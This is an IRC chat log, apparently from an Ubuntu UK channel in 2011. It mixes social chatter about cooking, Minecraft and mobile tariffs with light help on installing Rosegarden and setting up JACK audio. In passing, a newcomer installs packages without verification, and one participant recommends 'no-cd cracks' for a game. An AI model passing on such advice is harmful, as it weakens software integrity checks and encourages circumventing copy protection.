<lubotu3> rosegarden (source: rosegarden): music editor and MIDI/audio sequencer. In component universe, is extra. Version 1:10.02-0ubuntu5 (maverick), package size 7777 kB, installed size 12564 kB
<popey> alex: what happens if you open a terminal and type "sudo apt-get install rosegarden"?
<popey> can you paste the output completely at http://paste.ubuntu.com/ ?
<otaku_coder> awilkins: same
<alex> I shall tell you in twenty seconds, bear with me.
<popey> tick tock
<hamitron> 1, 2, 3...
<hamitron> ;/
<otaku_coder> awilkins: looks like a borked package upgrade
<alex> "Do you want to install these packages without verification?" Y.
<awilkins> otaku_coder, Do you have the /etc/alternatives folder?
<alex> It's working away.
<alex> Brilliant. Thanks folks. Guess I'm just not command-literate enough yet.
<popey> oh is it installing?
<screen-x> alex: sounds like your missing a key for a repo
<popey> yeah
<otaku_coder> awilkins: ah, no i dont
<alex> Screen-X, I'm a layman. I think I understand the gist of that sentence, but probably not.
<popey> !software
<lubotu3> A general introduction to the ways software can be installed, removed and managed in Ubuntu can be found at https://help.ubuntu.com/community/SoftwareManagement - See also !Packages, !Equivalents
<awilkins> otaku_coder, How odd, mine is chock-full of things
<alex> Sorry dude.
<alex> Could you just expand?
<popey> alex: that page will explain it
<otaku_coder> awilkins: this was a clean ubuntu 10.10 image, only 3 days old
<alex> Bitchin'.
<popey> alex: some light bed time reading :)
<awilkins> otaku_coder, I suggest you sudo mkdir /etc/alternatives and try again
<screen-x> alex: keys are used to verify packages. They aren't needed to install software, but without them you can't verify that the package hasn't been altered.
<alex> I'll print it out and stick it to the ceiling.
<popey> alex: https://help.ubuntu.com/community/AptGet/Howto  if you want to know apt-get
<popey> alex: and we hang out here anyway if you get any more issues
<alex> I can say, "I thought as much," but that doesn't mean squat of course.
<otaku_coder> awilkins: well that fixed it, thanks. wonder why there was no alternatives folder
<alex> I can't thank you guys enough. Cheers.
<screen-x> Why is  the ntp daemon not authoritative for the first few minutes after starting?
<awilkins> otaku_coder, I have no idea why it might occur ... filesystem damage or maybe a mad administrator
<hamitron> definately mad ;)
<otaku_coder> awilkins: I'm the only sysadmin!! Ah well, it's fixed anyway. I'll just ignore this little issue ;)
<hamitron> wasnt this issue on linode?
<hamitron> not a plain install
<hamitron> 2 hours left
<hamitron> :)
<jacobw> http://www.youtube.com/watch?v=nBJV56WUDng
<popey> jacobw: oooooooooooooooooooooooooooold news :)
<jacobw> i must be behind the group on banana related news
<Myrtti> banana?
<Myrtti> BANANA
<screen-x> phone?
<alex> Your nana phoned.
<popey> alex: you will fit in here just right
<hamitron> brb, tea and cakes
<brobostigon> yummy.
 * brobostigon is having sausage and mushroom butties.
<hamitron> that sounds better
<hamitron> I am just trying to Â¨keep going" for another few hours
 * popey has constructed spag bol
<brobostigon> a good bolognese, takes hours.
<danfish> ...which undergo deconstruction much quicker
<bigcalm> popey: just finished cutting out and scorring the guy. That's taken way too long
<popey> haha
<popey> it's not a race
<popey> brobostigon: it does?
<bigcalm> Need to find some glue next
<hamitron> my mince meat is still cooking :/
<popey> bigcalm: could stick it to cardboard
<brobostigon> popey: because the sauce needs to mature.
<bigcalm> popey: want to make the guy ride the piggy. Sadly not possible
<gord> wish i could play minecraft :(
<hamitron> how much it cost?
<bigcalm> It's on the site
<bigcalm> minecraft.net
<popey> which is down
<bigcalm> Boo
<popey> or slow
<hamitron> so how much it cost?
<hamitron> ;)
<bigcalm> It was about 10 euros when we started
<bigcalm> It's more now
<popey> ooo, it responded
<hamitron> how how long?
<hamitron> for how long?
<hamitron> :|
<bigcalm> popey: notch is moving skins to s3
<gord> its been basically down for days
<popey> its up now
<bigcalm> hamitron: forever, it's not a subscription game
<gord> not for me
<awilkins> popey, A good meat ragu does take hours ... I give the vegetables an half hour on their own, gently sweating down in a glug of olive oil
<hamitron> ah :)
<danfish> that Heston Bloomewhatsit cooks his bolognese for 12 hours
<brobostigon> ishould try alittle chocolate when i next  make a curry, apparently its quite good.
<brobostigon> danfish: that is alittle eccessive,
<bigcalm> http://minecraft.net/prepurchase.jsp
<hamitron> fs, no vista/7 drivers for my RAID card
<gord> i only got to play with strange coloured sheep and made a doorbell for my home before the servers went kablewy :(
<bigcalm> Alpha was 50% off. Beta is 25% off. Release will be 0% off
<popey> when it's finished it will be 20 EUR
<popey> now it's 14.95 EUR
 * awilkins points and squeals in the "body snatchers" style .... (Windows.... uncleeaaaan!!!)
 * hamitron will wait
<bigcalm> hamitron: I why?
<hamitron> I have self control
<hamitron> ;/
<bigcalm> What's that?
<awilkins> I logged into my Island retreat and found the sea was full of giant squid
<popey> :)
 * popey starts his server up
<awilkins> My island home has a tunnel to the mainland so that I can go plundering without getting wet
<bigcalm> Do we have a stable #u-u server?
<popey> mine is stable :)
<popey> popeydc.dyndns.org :)
<gord> mines been stable for months :P
<bigcalm> popey: but not on 24/7
<hamitron> #u-u?
<popey> it can be
<awilkins> ubuntu-uk
<bigcalm> hamitron: shorthand for here
<gord> gordallott.com - online 24 7!
<popey> i found your connection stuttered :(
<maco> id just call that -uk
<Myrtti> likewise
<gord> it did, back in the day, there was a bug that made everything laggy
<danfish> brobostigon: probably, but he does do things to excess!
<hamitron> is it a persistent game then?
<hamitron> persistent world game I mean
<brobostigon> danfish: very true,
<hamitron> 1 hour 15 mins
<hamitron> :)
<MonsterKiller> whats the best way to blacklist an IP on ubuntu serveR?
<MonsterKiller> server*
<danfish> MonsterKiller: add it to /etc/hosts.deny
<MonsterKiller> okay :) Thanks
 * awilkins swears loudly
<hamitron> :/
<awilkins> I just broke my cafetiere
<hamitron> oh noes :(
<hamitron> instant coffee for you
<hamitron> ;)
<awilkins> Dr Pepper. Until I have another means of preparing proper coffee. Maybe I'll try the finnish trick with an egg
<hamitron> hey, I drink instant :/
<hamitron> around 15 mugs per day, and I am still alive
<awilkins> http://blog.khymos.org/2010/08/04/norwegian-egg-coffee/
<hamitron> hassle!
<hamitron> 55 mins left
<hamitron> :)
<BigRedS> I think this registration form for the open sauce expo is probably enough to put any non-geek off the idea of going
<hamitron> sauce?
<BigRedS> Ah, I've been teasing pedants all day
<BigRedS> source
<gord> do you have to telnet to a bbs to register?
<gord> i would so do that
<hamitron> brb
<BigRedS> haha
<BigRedS> nah, it's not pleasantly geeky
<BigRedS> but there's a several-metre long survey of which bits of computing you're into
<popey> bigcalm: http://popeydc.dyndns.org/ can you see that map?
<bigcalm> Checking
<bigcalm> Slow to log in to minecraft at all
<popey> thats just an http map
<popey> a png of the map on my server
<bigcalm> Oh, sorry :)
<bigcalm> Yes
<popey> ta
<bigcalm> Oo, an update
<bigcalm> Is your server running?
<popey> yes
<bigcalm> Does it require me to add a port number?
<bigcalm> Connection is timing out
<kvarley> popey: You have a minecraft server? =)
<popey> ya
<popey> on a laptop at home
<popey> :)
<kvarley> popey =) is it public?
 * brobostigon falls out of his chair, laughing at a cartoon in private eye
<popey> kvarley: course
<popey> just getting automatic map png generation sorted
<kvarley> popey: IP?
<popey> http://popeydc.dyndns.org/maps/2011/01/20/
<popey> muhahaha
<popey> that hostname kvarley
<kvarley> popey Thank you
<popey> so, every 10 mins it generates a map
<popey> and does a symlink to the "current" map image
<popey> win
<ali1234> is that map 1 pixel per "cube"?
<popey> i think so
<ali1234> it would be the fastest way to generate it i guess
<popey> yeah
<popey> it has some options, not looked at yet
<kvarley> popey: I can't login to minecraft :/
<kvarley> popey: Not your server, I mean minecrafts login doesn't connect
<davmor2> lo all
<davmor2> czajkowski, how you feeling now kidda
<awilkins> minecraft.net doesn't seem to be responding
<popey> kvarley: yeah, issues
<popey> their end
<czajkowski> davmor2: good bit better thanks
<davmor2> cztab good good
<davmor2> oh well train is here so I'm off home
<andylockran> ta ra
<MartijnVdS> brobostigon: http://i.imgur.com/YPc02.jpg
 * brobostigon falls out of his chair in laughter,
<MartijnVdS> brobostigon: no permanent damage I hope? :)
<brobostigon> MartijnVdS: definatly not, :)
<MartijnVdS> Perhabsolutely!
<brobostigon> :)
<MartijnVdS> what about "Funishment"
<brobostigon> mm.
<brobostigon> hmm.
<MartijnVdS> brobostigon: I'm reading a thread on "accidental words" people make :)
<MartijnVdS> Trafficated. As in:
<MartijnVdS> "Hey what took you so long getting here?"
<MartijnVdS> "The roads were all trafficated man.."
<brobostigon> MartijnVdS: ah, i see.
<brobostigon> lol.
<MartijnVdS> hahaha
<MartijnVdS> Sky-arrhea. That shitty weather between rain and snow.
<asmith> Guten Tag.
<asmith> Or at least, Hello.
<brobostigon> moin asmith :)
<brobostigon> guten abend asmith *
<asmith> Quick question. Why do Ardour and Rosegarden refuse to be installed on the same system?
<asmith> It seems that Rosegarden doesn't like JACK but  Ardour does.
<asmith> Chriscoulson doesn't like my question, obviously.
<popey> ardour needs jack
<popey> didn't know rosegarden doesn't like jack
<asmith> Ah, hey Popey.
<popey> lo
<asmith> It's "Alex" from earlier.
<asmith> Wouldn't let me log in this time.
<asmith> As "Alex," that is.
<popey> well, i just did "sudo apt-get install ardour rosegarden" and it's trying to install both now
<asmith> I've got Ardour on the system, but it doesn't run because there's not enough JACK capabilities, I think.
<asmith> That's the impression I seem to get.
<popey> is jack running?
<popey> there is a program called jack-ctl or somesuch which controls jack
<popey> and lets you stop/start it
<asmith> I've typed Jack-Ctl into the software centre - it comes up with Jack Tools.
<asmith> Which I seem to already have.
<popey> yes, it will be under the menu somewhere
<asmith> When I try to start Ardour, it asks for various variables - sample rates and buffer amounts etc. - then upon actually starting the audio engine, it claims that "Ardour couldn't start JACK."
<asmith> Rosegarden, however, works top.
<asmith> OK, I've opened Jack Control.
<asmith> It says it can't connect to the JACK server as client.
<asmith> Man, the more I type the more I feel like a doofus.
<asmith> The JACK server is on my computer.
<popey> yes
<popey> it needs to be started
<popey> there's a start button there somewhere
<asmith> On the Jack Audio Connection Kit, yes, there's a start. But upon pressing it, that's where the JACK server connection error message occurs.
<asmith> I've got Jackd1, which describes itself as the "JACK Audio Connection Kit (Server and example clients)"
<MartijnVdS> popey: maybe jack can't start because of pulse?
<asmith> I've tried downloading jackd2, but of course it wants to kill Rosegarden.
<MartijnVdS> https://help.ubuntu.com/community/HowToJACKConfiguration
<popey> they play nice these days MartijnVdS
<MartijnVdS> popey: oh, didn't know that
<asmith> Interesting - this article on Wikipedia on Ubuntu Studio claims that Rosegarden works with JACK. http://en.wikipedia.org/wiki/Ubuntu_Studio
<asmith> And yet...
<popey> it does
<popey> you just don't have jack running yet
<asmith> Oh, Lord.
 * czajkowski hugs popey 
<asmith> Jack's message window tells me I don't have a "sane system."
<popey> czajkowski: sometimes more words is better
<czajkowski> popey: aye but I'm also fielding them on irc as well :)
<popey> feel free to blog about it and use my mail
<popey> or maybe, maybe not
<czajkowski> no...
<czajkowski> as I know it's more than one area that is the issue, we're just one vocal area
<asmith> OK folks, I appreciate your patience and help. Here's what Jack Control says in the messages pane:
<asmith> Please check your /etc/security/limits.conf for the following lines
<asmith> and correct/add them:
<asmith>   @audio          -       rtprio          100
<asmith>   @audio          -       nice            -10
<asmith> After applying these changes, please re-login in order for them to take effect.
<asmith> You don't appear to have a sane system configuration. It is very likely that you
<asmith> encounter xruns. Please apply all the above mentioned changes and start jack again!
<asmith> Hence, I've done so using Nautilus with Root priviledges, now I'm going to log out and log back in.
<popey> i probably wouldn't do that
<asmith> Ciao for now, see you in a little.
<popey> but worth a shot :)
<asmith> OK. Here goes nothing!
<asmith> OK, let's try again.
<asmith> Aha. Now the messages read:
<asmith> "JACK is running in realtime mode, but you are not allowed to use realtime scheduling.
<asmith> Your system has an audio group, but you are not a member of it.
<asmith> Please add yourself to the audio group by executing (as root):
<asmith>   usermod -a -G audio (null)
<asmith> After applying these changes, please re-login in order for them to take effect."
<asmith> Man, I have a degree in Film & Television Production, a lifetime of music behind me, and I can't figure out how to program a damn computer. Ouch.
<asmith> Is it recommended that I don't do "usermod -a -G audio (null)", or that I go ahead and sudo that.
<asmith> I have killed the IRC channel, I see.
<popey> :)
<popey> sorry, I'm working :(
<MartijnVdS> working? at this hour?
<popey> ya
<MartijnVdS> madpopey
<popey> oracle RAC 11g upgrade
<popey> "fun"
<MartijnVdS> popey: 21:05 < MartijnVdS> what about "Funishment"
 * bigcalm collapses
 * MartijnVdS props bigcalm up on sticks
<bigcalm> Being ill doth suck
<MartijnVdS> pointy ones
<bigcalm> http://i.imgur.com/9bxJ6.jpg # wow
<popey> hah
<daubers> Evening
<daubers> !ping
<lubotu3> ping-pong, a fun game for all the family
<popey> bigcalm: seen elsewhere - "offer him 50p for his house on the 22nd" :)
<bigcalm> Heh
 * brobostigon has chocolate buttons, :)
<popey> ooo, so do i!
<brobostigon> :)
<brobostigon> luxury dark, dairy free, :)
<czajkowski> ohh
 * czajkowski hugs bigcalm 
<Pendulum> I found my first Cadbury Creme Egg of the year!
 * bigcalm hugs some new life into czajkowski 
<czajkowski> Pendulum: see I see the and all I can do is laugh
<AlanBell> Pendulum: please tell me it has nothing to do with Daviey
<Pendulum> AlanBell: nothing at all
<popey> http://podcast.ubuntu-uk.org/wp-content/uploads/2008/08/dave.jpg
 * Pendulum dies laughing
<Daviey> !!!!!!!!!!!!!
<Pendulum> err.. the laughing was at AlanBell
 * Pendulum hugs Daviey 
<Daviey> careful!
<Daviey> :)
<Pendulum> Your in the UK and I'm in the US. I think my creme egg is safe
<Pendulum> *you're
<Myrtti> http://www.ling.helsinki.fi/~fkarlsso/genkau2.html
<Daviey> Pendulum... I was in the US last week... and will return soon :P
<Pendulum> Daviey: but you didn't visit me :(
<Myrtti> "wanna learn Finnish? good luck"
<Daviey> Pendulum, What part of the UsS are you?
<Pendulum> Daviey: Connecticut
<Pendulum> 1/2 way between New York City and Boston
<Daviey> eeeeek
<Pendulum> what?
<Daviey> I might have reason to go near boston soon.
<Pendulum> haha
<Pendulum> interesting, Weight Watchers doesn't seem to think a Cadbury Creme egg is nearly as bad for you as I expected
<AlanBell> I am sure it is if you eat it
<Pendulum> (I do find it amusing that it's actually in their food database)
<Pendulum> AlanBell: I expected it to be about twice the "points plus value" that it is
<Pendulum> and that's based on actually eating!
<Pendulum> gonna have to work harder to break the diet ;)
 * Darael resolves to stay away from Creme Eggs.  Not nearly fattening enough.
<Pendulum> hmm... I could go out and order whatever I want tonight and not break my diet. I think I maybe haven't been eating enough :-/
<maco> Pendulum: not eating enough is bad, makes you fall over
<Pendulum> maco: I've had a sinus infection and today is the first day my throat hasn't hurt
<maco> ugh
<Pendulum> haven't fallen over yet!
<maco> im one of those fainting people
 * bigcalm reprints the sheet with the pigs head on it due to over scoring and tearing
<czajkowski> Pendulum: you'd swear the two of us had come back from uds, with us both being this sick this week with sinus and chest
<Pendulum> maco: I've been eating enough, just not much more than that. lots of jello and such
<Pendulum> czajkowski: I know :(
<brobostigon> nos da,sleep well.
<czajkowski> popey: you're missing from over there -------->
<HazRPG> ah man, seems brobostigon always seems to be offline just as I hit the onlines
<HazRPG> czajkowski: what do ya mean, popey is in the other there ----------->>
 * HazRPG needs to find himself a proper sleeping pattern soon :/
<hamitron> :)
<HazRPG> hamitron: woot!
<hamitron> I have sadly (yet greatfully) booted back into windows xp
<hamitron> :/
<HazRPG> ouch
<hamitron> I hate deciding how to setup a comp you use each day
<HazRPG> saying that I'm booted into Windows 7 with a virtualbox ubuntu 10.10 in seamless-mode
<hamitron> nice
<HazRPG> how'd ya mean?
<hamitron> I got 2 x 300Gb hdd in RAID 0, and a single 500Gb
<HazRPG> nice
<hamitron> can't installed win7 on the RAID
<hamitron> no drivers
<HazRPG> (keeps meaning to setup a RAID)
<HazRPG> no drivers for what?
<hamitron> vista or win7
<hamitron> atm I am running win xp on it
<HazRPG> because so far I've managed to install Windows 7 onto anything without having to worry about any driver fails
<hamitron> a quick google shows problems for my card
<hamitron> :/
<HazRPG> ah, RAID card you mean?
<hamitron> yeh
<HazRPG> ouch
<HazRPG> mines just built into the mobo
<hamitron> I only got 2gb ram, so maybe not worth attempting win7
<directhex> win7 is likely to be less resource-hungry than vista
<hamitron> now, if I am lazy, I leave XP on it, and just use the single drive for data
<directhex> wifey runs it, don't remember if she has 2 or 4 though
<hamitron> directhex: win7 runs fine on 2gb ram
<hamitron> imo
<hamitron> but not with me
<hamitron> I like torturing my system
<hamitron> last time I broke the start menu :D
<HazRPG> heh, yeah I have Win7 working fine on my laptop - and I'm pretty sure that only has 1GB of RAM
<HazRPG> or possibly 1.5 or maybe 2
<HazRPG> but it won't be more than 2 cos its like 3-4 years old now
<hamitron> my mobo will only take 2gb :/
<HazRPG> in fact I find win7 works better than XP does
<hamitron> well, I am using XP fine atm
<hamitron> but I did just boot a live cd of linux
<hamitron> and realised how crap xp is
<hamitron> haha
<hamitron> it was centos though, which seems to feel more snappy than ubuntu
<ali1234> everything is more snappy than ubuntu
<hamitron> (as does fedora)
<ali1234> unfortunately everything else is also more buggy than ubuntu
<HazRPG> heh, I find that WinXP works fine if you have SP1 or SP2... the minute you install any patches after SP2 or the full SP3 pack... it starts to get really sluggish :/.
<hamitron> yeh
<hamitron> and yeh
<hamitron> :)
<hamitron> my heart wants to install a linux distro...
<HazRPG> agreed ali1234
<hamitron> but my brain tells me it won't work for this system
<hamitron> dual booting always annoys me
<HazRPG> LiveCD works doesn't it though?
<hamitron> but I never reboot
<hamitron> :)
<HazRPG> anything in particular keeping you on Windows?
<hamitron> games
<HazRPG> ah, same issue I have them ^^,
<hamitron> yeh, that is why i could relate to your pain
<hamitron> :)
<HazRPG> ^^
<HazRPG> see I've managed to free myself of most windows-only licence based software with (FL)OSS type software... but Games are the only thing that's lacking sadly :(
<hamitron> yes
<hamitron> you can play some games fine
<hamitron> plus there is wine
<hamitron> but if you want just a few games that don't work, it can be upsetting
<hamitron> I just spent Â£130 for 1 game
<HazRPG> see most of my games are on Steam...
<hamitron> not intending to stop using it
<ali1234> steam works well on linux
<ali1234> the games are hit and miss though
<hamitron> I'm even considering spending another Â£260 to get that single game running better :/
<HazRPG> just cos I like the idea of getting any game without having to leave the house (sometimes at a fraction of the price, mainly get them when the seasonal offers go on :P - full borderlands for like Â£9.99 - bargain)
<hamitron> I really hate buying games that require online access for no reason
<HazRPG> hmm, borderlands doesn't require you to stay online
<ali1234> i really hate buying games that are exactly the same as all other games but with slightly different graphics eg any FPS game made in the past 10 years
<HazRPG> set steam to offline-mode, and away you go
<hamitron> yes HazRPG, but then if you need to re-install...
<HazRPG> ah, true
<hamitron> or if steam decide to drop support for your OS
<HazRPG> my trick is just backup the game folder and settings to CD/DVD
<HazRPG> hamitron: doubt that, I tend to roll onto the next stable O/S when possible (i.e. didn't do vista AT all!)
<hamitron> but if you chose not to, you would get caught out
<hamitron> :)
<hamitron> I bought Half Life 2, and steam cut me off from using it
<HazRPG> then you don't buy games that require the next O/S xD
<HazRPG> :o?
<hamitron> it used to run on win98
<hamitron> ;)
<hamitron> now it won't
<HazRPG> are you sure you meant HL2 ??
<hamitron> yes
<HazRPG> Thought that game needed XP minimum...
<HazRPG> or DX9 minimum rather...
<hamitron> I got the retail box on first release
<hamitron> install from dvd... needs steam... needs update... fails
<hamitron> it is legal ofc
<HazRPG> yeah, cos looking here... it says "WinXP or later, 1.7GHz Intel or AMD Processor (3GHz recom.), 512MB of RAM (1GB recom.), DirectX 8.1 (Dx9 recom.)"
<HazRPG> that's for minimum and recommended stuff
<hamitron> my retail box still says win 98 ;)
<hamitron> they will drop support for xp eventually
<HazRPG> heh, I hate to say it - but get one of the no-cd cracks... usually helps
<HazRPG> Microsoft has already dropped support for XP if I recall...
<hamitron> I have researched extracting the game files from steam
<HazRPG> so won't take long for developers to do the same
<hamitron> MS still support XP ;/
<hamitron> it moves into extended support later this year
<hamitron> iirc, 2014
<hamitron> but I am looking at moving systems off XP soon
<HazRPG> hmm, WinXP Tablet loses support @ 12/07/2011
<hamitron> ubuntu+1 x 4
<HazRPG> I doubt they the main one for as long as 2014
<HazRPG> hamitron: was it you that got a giffgaff too btw?
<hamitron> it is just security patches
<hamitron> yes
<hamitron> it hasn't arrived yet
<HazRPG> has your... oh
<HazRPG> mine did this morning
<hamitron> wtf
<hamitron> not fair :/
<HazRPG> totally
<HazRPG> did you get yours at the same time as mine?
<hamitron> I ordered within the same 15 mins?
<HazRPG> hmm
<hamitron> just as it was said on IRC actually
<HazRPG> where's your geo-location in the UK (north, south, etc)
<hamitron> East Yorkshire
<hamitron> say "where" and I kill you
<hamitron> ;/
 * Azelphur puts his giffgaff sim in
<HazRPG> heh, I'm better at geography then history ^^
<hamitron> pffffft
<HazRPG> Azelphur: rofl, timing :P
<hamitron> now I just need a phone
<Azelphur> :D
<hamitron> does the free internet cover 2G?
<HazRPG> I would have thought that you'd have gotten yours before me
<HazRPG> I'm in cumbria :/
 * hamitron shrugs
<HazRPG> hamitron: yeah it will do
<HazRPG> it just means internet in general
<hamitron> I'll know by 3pm tomorrow if it has arrived :/
<HazRPG> in-fact they'll probably prefer users to us 2G instead of 3G+
<hamitron> lazy ass postal service personel
<HazRPG> cos it's less data traffic than 3G users
<hamitron> ngage ftw \o/
<dwatkins> If you have an allowance of 500 MB a month, you'd have difficulty using it up over 2G.
<hamitron> shame they closed arena :/
<HazRPG> \o/
<HazRPG> agreed, I still have my n-gage :)
<HazRPG> Azelphur: have you activated yours yet?
<hamitron> what is the date of that tech show sony may release psp 2 info?
<HazRPG> hamitron: I feel your pain - they have sort of re-opened it up as Ovi though
<hamitron> I got a 5230
<HazRPG> pass, didn't know there was going to be one?
<hamitron> ovi maps is actually ok
<Azelphur> HazRPG: about to
<hamitron> but I sold it
<hamitron> :)
<hamitron> no wifi = no fun
<hamitron> especially when you are as tight as me with credit ;)
<dwatkins> I have a phone with no SIM card, just wifi. IT's not much use really, as I have a computer anyway.
<HazRPG> Azelphur: if you don't want to top-up and get goody bags at the same time... you can always put in just Â£10 credit to get your free Â£5, and then later get a goody bag of your choice later
<Azelphur> I was going to try out the Â£10 goodybag
<hamitron> dwatkins: TOY
<hamitron> ;)
<hamitron> or am I missing the point of a phone (as a ngage user) ;/
<dwatkins> hamitron: indeed, it is currently used for playing Angry Birds
<hamitron> \o/
<HazRPG> I sat for an hour with the SIM in my hand going "man, if I get a goody bag only, will I not get the free Â£5... how bout if I get the Â£10 top-up and then just buy the goodybag if I need it later"
<HazRPG> Azelphur: yeah but if you get the goodybag you won't get the free Â£5 - I looked it up
<ali1234> what is a giffgaff?
<Azelphur> ali1234: http://www.youtube.com/watch?v=w66UHmd0AK4
<bigcalm> Something for the riffraff
<HazRPG> heh was just about to link that too
<ali1234> also what is a facebook goodybag?
<HazRPG> http://giffgaff.com/index/us <== has that video on it + info
<hamitron> make sure ali uses someone link to get the free credit...
<HazRPG> indeed :)
<hamitron> someones
<Azelphur> HazRPG: oh, so buy a Â£5 top up
<Azelphur> and then buy Â£10 goodybag if I want it?
<Azelphur> and end up only spending Â£10 total
<HazRPG> nah, minimum top-up on activation is Â£10
<HazRPG> best to get that
<HazRPG> which will give you a free Â£5 credit
<hamitron> don't you get free internet till end of feb, just for topping up?
<Azelphur> heh
<Azelphur> might as well get the goodybag then
<HazRPG> then go grab a goodybag and set it to take the money from your credit instead
<Azelphur> ohhh
<Azelphur> ok
<HazRPG> hamitron: think that's a goody bag
<hamitron> I not read closely yet
<HazRPG> moment, going to setup guitar hero for my sister
<hamitron> how large is a typical /boot folder these days?
<Azelphur> HazRPG / hamitron / popey one thing that confuses me about giffgaff, they run off the O2 network, why do they charge most to call o2?
<Azelphur> that's a bit broken
<ali1234> about 5mb per installed kernel
<hamitron> ty ali
<ali1234> bit more maybe, say 10mb
<hamitron> so 200mb is enough
<ali1234> yeah
<HazRPG> yeah
<HazRPG> I tend to set it to 256MB or 512MB
<HazRPG> just for round figures ^^
<HazRPG> Azelphur: how do you mean?
<hamitron> I'll prob aim for 192mb ;)
<Azelphur> HazRPG: on the payg look at http://giffgaff.com/index/offer
<Azelphur> HazRPG: giffgaff is O2 based, and yet they charge the most to call/text to O2
<Azelphur> :S
<HazRPG> Azelphur: probably have a deal with o2 to use their masts, but not to give offers away since they're rival companies essentially
<hamitron> do they get more money for incoming calls from other networks?
<Azelphur> hehe
<Azelphur> hamitron: they do but only till some time next month I think
<hamitron> one of the goody bags gives you free mins for each incoming call
<hamitron> or is that a temp thing?
<Azelphur> that's temp
<Azelphur> http://support.giffgaff.com/app/answers/detail/a_id/593
<ali1234> looks pretty lame to me
<HazRPG> ali1234: what does?
<ali1234> if you want to earn money from signing people up for a mobile phone, go work in a call centre. you'll earn more
 * hamitron is scared to transfer his number, in case they go bust
<Azelphur> ali1234: hehe, I'm more interested in the prices
<Azelphur> ali1234: Â£10 for unlimited internet is woot
<HazRPG> hamitron: they've been around since 2009
<HazRPG> hamitron: so I doubt they will
<hamitron> HazRPG: you consider that a long term standing company? :|
<ali1234> Â£10 for unlimited internet is standard...
<Azelphur> ali1234: nope, feel free to find anything close and point it out to me
<ali1234> as you know, i pay Â£10/month for unlimited internet, 100 minutes and 100 texts
<hamitron> but that is contract
<hamitron> yeh?
<ali1234> yes, of course
<hamitron> this is good bags!
<hamitron> goody*
<Azelphur> ali1234: this is Â£10/mo for unlimited internet (NO FUP), unlimited texts (ALSO NO FUP), and 250 minutes
<Azelphur> :)
<ali1234> "no fup is *always* a lie
 * hamitron agrees
<Azelphur> I'll find out :D
<ali1234> there will be a fup within 6 months, or they will go bust due to no customers
<hamitron> but on orange PAYG, it costs a lot more for free internet
<hamitron> Â£1 per day iirc?
<Azelphur> ali1234: wat
<HazRPG> ali1234, Azelphur, hamitron: I agree with Azelphur, prices for the goodybags are awesome. Me and my sister were discussing it earlier this afternoon about it. She's on a contract with (three? T-mobile? She has both :/) and they give her 1000 mins, unlimited txts & internet @ Â£30 a month (no inc. price for phone) - on giffgaff she could get the Â£25 goodybag and get 1500mins + unlimited txts & internet.
<ali1234> either that or the whole pyramid scheme will collapse like they always do
<Azelphur> ali1234: meh not like it's a contract either
<Azelphur> jump on enjoy the ride when it dies switch
<hamitron> Azelphur will take it down solo ;/
<ali1234> they will get a really bad reputation too
<ali1234> they must know this
<ali1234> MLM schemes always do because they can't control the way people resell it
<ali1234> so people will spam ads for it everywhere
<ali1234> since they know they'll get a bad rep... what does this tell you about the people who run it?
<hamitron> O2 won't want them killing their network either
<Azelphur> *shrug*
<ali1234> also notice you only get a rebate every 6 months
<hamitron> I've decided I won't transfer my number though :)
<ali1234> i wouldn't be surprised if the thing was dead after 5 months and 29 days
<Azelphur> lol
<hamitron> what rebate?
<Azelphur> well if it dies I'll just switch
<hamitron> :|
<HazRPG> heh, I'm not bothered... was planning on jumping ship to o2 anyways cos I get better signal @ with for o2... but with this, can better benefits and no tied contract to any crap
<Azelphur> for now prices are excellent
<ali1234> rebate for when you sign people up
<ali1234> you do know about that right?
<Azelphur> yup
<Azelphur> I'm not in it for the rebates
<Azelphur> I'm in it for Â£10 unlimited internets >:D
<hamitron> free ride \o/
<ali1234> no, but some people clearly are
<hamitron> well, cheap
<hamitron> ;)
<ali1234> i dont know whats wrong with contract...
<HazRPG> heh, I just want stuff for cheaper - couldn't care less for the rebate
<hamitron> if you have a number with a mobile operator that goes bust.... can you move the number elsewhere?
<ali1234> it is cheaper that payg
<HazRPG> ali1234: all the companies have started rolling out minimum 24month contracts now :/
<hamitron> not tesco ;)
<HazRPG> hamitron: yeah
<ali1234> so what?
<ali1234> you think you won't want a mobile phone in 2 years?
 * hamitron dreams
<hamitron> suppose it is what you get, expecting "free" expensive joining gifts
<ali1234> payg is a false economy. the money you save by constantly switching is less than the money you save by jus going on a good value contract
<HazRPG> ali1234: no, of course I will... but I'll use me as an example. I switched to three to get better deals, fantastic signal rates all the time, etc... and now I'm at home and I constantly get nasty texts from friends/business-men that I'm doing work for/etc because they can't get hold of me :/
<ali1234> plus you have all the hassle
<hamitron> my PAYG has only cost me Â£35 in 13 years :/
<ali1234> PAYG with internet?
<hamitron> I used my DSL for that bit
<HazRPG> I get a signal rate of -101 dBs (or more) and less than 0-1 asu
<HazRPG> half the time, people are just getting thrown onto my voicemail
<ali1234> that's why contracts have a cooling off period...
<HazRPG> I had 100 voicemails one day... man, I was stressed that day
<ali1234> i turned off voicemail on my phone
<ali1234> i hate it
<hamitron> is skype an alternative to a phone?
<ali1234> no
<hamitron> like, viable
<hamitron> k
<hamitron> I was considering getting a number on it, then just using that
<ali1234> not unless everyone you know is between the ages of 30 and 50 and middle class
<hamitron> haha, why?
<HazRPG> hamitron: it can be an alternative to using a landline - but it depends how you use it, I call my mum in egypt all the time and my dad in saudi
<hamitron> I was thinking for incoming calls
<hamitron> Â£20 per year for a number sounds ok
<HazRPG> hamitron: yeah but you need internet to do so
<hamitron> I have it...
<hamitron> ;/
<hamitron> don't I?
<hamitron> ;)
<HazRPG> you can get skype on phones n stuff now... but you need to be in decent 3G range
<hamitron> oh, I wasn't going to use it on a mobile
<hamitron> just at home on wifi
<HazRPG> hamitron: yeah, but you still have a landline rental though too ;) otherwise you wouldn't get internet in the first place
<hamitron> yeh, that is fine
<ali1234> hamitron: because that's the kind of people that use skype. and it is only worth it for skype2skype
<hamitron> phone2skype is not worth it?
<Azelphur> HazRPG: just to confirm, I put Â£10 credit, then I buy a goodybag with it right?
<Azelphur> and then I have Â£5 free :P
<HazRPG> Azelphur: yeah, that way you'll still have Â£5 floating in your account
<HazRPG> Azelphur: but wait for the Â£5 credit to get added in
<Azelphur> nice :D
<HazRPG> shouldn't take too long
<HazRPG> if you get just the goodybag, its pointless
<Azelphur> indeed
<HazRPG> likewise if you get the goodbag + credit... then your spending more money onto your phone
<HazRPG> really depends how your going to use it, but personally I'm just trying it out for now so its better this way
<hamitron> hassle changing sim all the time :/
<HazRPG> ali1234: you were saying something about a grace period earlier on a contract - can't see it right now for some reason
<HazRPG> ali1234: how do you mean?
